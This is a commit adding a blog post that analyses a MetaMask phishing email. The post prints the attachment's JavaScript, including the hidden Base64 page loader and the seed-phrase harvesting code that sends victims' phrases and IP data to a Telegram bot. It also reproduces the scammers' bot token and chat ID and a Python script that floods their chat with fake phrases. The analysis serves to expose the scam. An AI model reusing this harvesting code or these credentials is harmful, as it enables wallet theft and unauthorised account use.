feat: metamask scam exploration post
This commit is contained in:
parent
15cf09bde5
commit
d682c7c898
162
content/blog/metamask-scam-exploration.md
Normal file
162
content/blog/metamask-scam-exploration.md
Normal file
@ -0,0 +1,162 @@
|
||||
+++
|
||||
title = 'Exploration of a Random MetaMask Scam'
|
||||
date = 2024-10-27T21:04:50+02:00
|
||||
author = ''
|
||||
draft = false
|
||||
tags = ['random']
|
||||
categories = []
|
||||
+++
|
||||
|
||||
A few days ago, I received a pretty credible-looking MetaMask scam email stating that my account had been locked due to an attempt to connect a new device to it. Too bad I don't even own a MetaMask account, but despite that, I decided to spend a bit of time and look into how the whole scam worked, as I rarely receive any kind of spam nowadays.
|
||||
|
||||
<p align="center">
|
||||
<img src="/images/metamask-scam-exploration/email.png" alt="Picture of the original email message" width="80%" />
|
||||
</p>
|
||||
|
||||
## Email attachment
|
||||
|
||||
The attached HTML file `RemovedDevice.html` contained a bare-bones HTML structure with a bit of JS and a long Base64 encoded string which the attached script would decode and use jQuery to attach it back to the website body.
|
||||
|
||||
```javascript
|
||||
$(document).ready(function () {
|
||||
saveFile()
|
||||
})
|
||||
|
||||
function saveFile(name, type, data) {
|
||||
if (data != null && navigator.msSaveBlob)
|
||||
return navigator.msSaveBlob(new Blob([data], { type: type }), name)
|
||||
var a = $("<a style='display: none;'/>")
|
||||
|
||||
var encodedStringAtoB = "<base64-encoded-string>"
|
||||
var decodedStringAtoB = atob(encodedStringAtoB)
|
||||
const myBlob = new Blob([decodedStringAtoB], { type: "text/html" })
|
||||
const url = window.URL.createObjectURL(myBlob)
|
||||
|
||||
a.attr("href", url)
|
||||
$("body").append(a)
|
||||
a[0].click()
|
||||
window.URL.revokeObjectURL(url)
|
||||
a.remove()
|
||||
}
|
||||
```
|
||||
|
||||
The resulting webpage would display 12/15/18/21/24 input fields for a crypto wallet seed phrases of various lengths.
|
||||
|
||||
The scammers were using Telegram as the backend, but didn't apparently care enough to even attempt to hide the API token and chat ID from the source with some obfuscation logic. Telegram also follows a certain logic with the chat IDs (private chats don't have a dash prefix, whereas supergroups and channels have a `-100` prefix) which helps in determining that the data is exfiltrated into a private chat instead of a group.
|
||||
|
||||
```javascript
|
||||
// Add your telegram token,chatid
|
||||
const token = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0"
|
||||
const chatId = "7839331161"
|
||||
```
|
||||
|
||||
Before sending the collected information to the Telegram chat, the JavaScript code would also make a quick `GET` request to `ipinfo.io` to get the victim's public IP and related location data. This information would probably be used to pick a proxy for the wallet draining stage of this scam without raising any unwanted suspicions on MetaMask's end.
|
||||
|
||||
```javascript
|
||||
wordForm1.addEventListener("submit", (e) => {
|
||||
e.preventDefault()
|
||||
errbox.classList.add("hide")
|
||||
let regex = /[!`@#$~%^&*()\-+={}[\]:;"'<>,.?\/|\\]/
|
||||
let regex2 = /\d/
|
||||
let pass = false
|
||||
|
||||
for (let i = 0; i < word12Input.length; i++) {
|
||||
if (regex.test(word12Input[i].value) || regex2.test(word12Input[i].value)) {
|
||||
pass = true
|
||||
}
|
||||
}
|
||||
if (pass) {
|
||||
errbox.classList.remove("hide")
|
||||
} else {
|
||||
if (
|
||||
word12_1.value === "" ||
|
||||
word12_2.value === "" ||
|
||||
word12_3.value === "" ||
|
||||
word12_4.value === "" ||
|
||||
word12_5.value === "" ||
|
||||
word12_6.value === "" ||
|
||||
word12_7.value === "" ||
|
||||
word12_8.value === "" ||
|
||||
word12_9.value === "" ||
|
||||
word12_10.value === "" ||
|
||||
word12_11.value === "" ||
|
||||
word12_12.value === ""
|
||||
) {
|
||||
btncofirm1.disabled = true
|
||||
} else {
|
||||
preloader.classList.remove("hide")
|
||||
|
||||
let data = `IP: ${ip.ip}\nRegion: ${ip.region}\nTime Zone: ${ip.timezone}\nWord 1: ${word12_1.value} \nWord 2: ${word12_2.value} \nWord 3: ${word12_3.value} \nWord 4: ${word12_4.value} \nWord 5: ${word12_5.value} \nWord 6: ${word12_6.value} \nWord 7: ${word12_7.value} \nWord 8: ${word12_8.value} \nWord 9: ${word12_9.value} \nWord 10: ${word12_10.value} \nWord 11: ${word12_11.value} \nWord 12: ${word12_12.value}`
|
||||
postData(data)
|
||||
setTimeout(() => {
|
||||
preloader.classList.add("hide")
|
||||
noDone.classList.add("hide")
|
||||
done.classList.remove("hide")
|
||||
timer2(10)
|
||||
}, 4000)
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
|
||||
## Greetings
|
||||
|
||||
After discovering the valid token from the source, I had a sudden urge to try it out 🤔. I began with a simple `getMe` request:
|
||||
|
||||
```json
|
||||
{
|
||||
"ok": true,
|
||||
"result": {
|
||||
"id": 7686154983,
|
||||
"is_bot": true,
|
||||
"first_name": "wegomakeit",
|
||||
"username": "wegomakeit_bot",
|
||||
"can_join_groups": true,
|
||||
"can_read_all_group_messages": false,
|
||||
"supports_inline_queries": false,
|
||||
"can_connect_to_business": false,
|
||||
"has_main_web_app": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
And then proceeded to something a bit more interesting:
|
||||
|
||||
```python
|
||||
import random
|
||||
import requests
|
||||
from time import sleep
|
||||
from address import generate_residential_ip
|
||||
from phrase import generate_seed_phrase, bip39_words
|
||||
|
||||
TOKEN = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0"
|
||||
CHAT_ID = "7839331161"
|
||||
API_BASE_URL = f"https://api.telegram.org/bot{TOKEN}"
|
||||
|
||||
|
||||
def construct_msg(words):
|
||||
ip, region, timezone = generate_residential_ip()
|
||||
phrase = generate_seed_phrase(words, random.choice([12, 15, 18, 21, 24]))
|
||||
|
||||
ip_str = f"IP: {ip}\nRegion: {region}\nTime Zone: {timezone}\n"
|
||||
phrase_str = ""
|
||||
|
||||
for i, w in enumerate(phrase):
|
||||
w_str = f"Word {i + 1}: {w} \n"
|
||||
phrase_str += w_str
|
||||
|
||||
return ip_str + phrase_str
|
||||
|
||||
|
||||
def send_msg(words, chat_id):
|
||||
payload = {"chat_id": chat_id, "text": construct_msg(words)}
|
||||
res = requests.post(f"{API_BASE_URL}/sendMessage", data=payload)
|
||||
print(res.text)
|
||||
|
||||
|
||||
words = bip39_words()
|
||||
|
||||
while True:
|
||||
send_msg(words, CHAT_ID)
|
||||
sleep(random.randint(1, 10))
|
||||
```
|
BIN
static/images/metamask-scam-exploration/email.png
Normal file
BIN
static/images/metamask-scam-exploration/email.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 154 KiB |
BIN
static/images/metamask-scam-exploration/tg-bot.png
Normal file
BIN
static/images/metamask-scam-exploration/tg-bot.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 66 KiB |
Loading…
Reference in New Issue
Block a user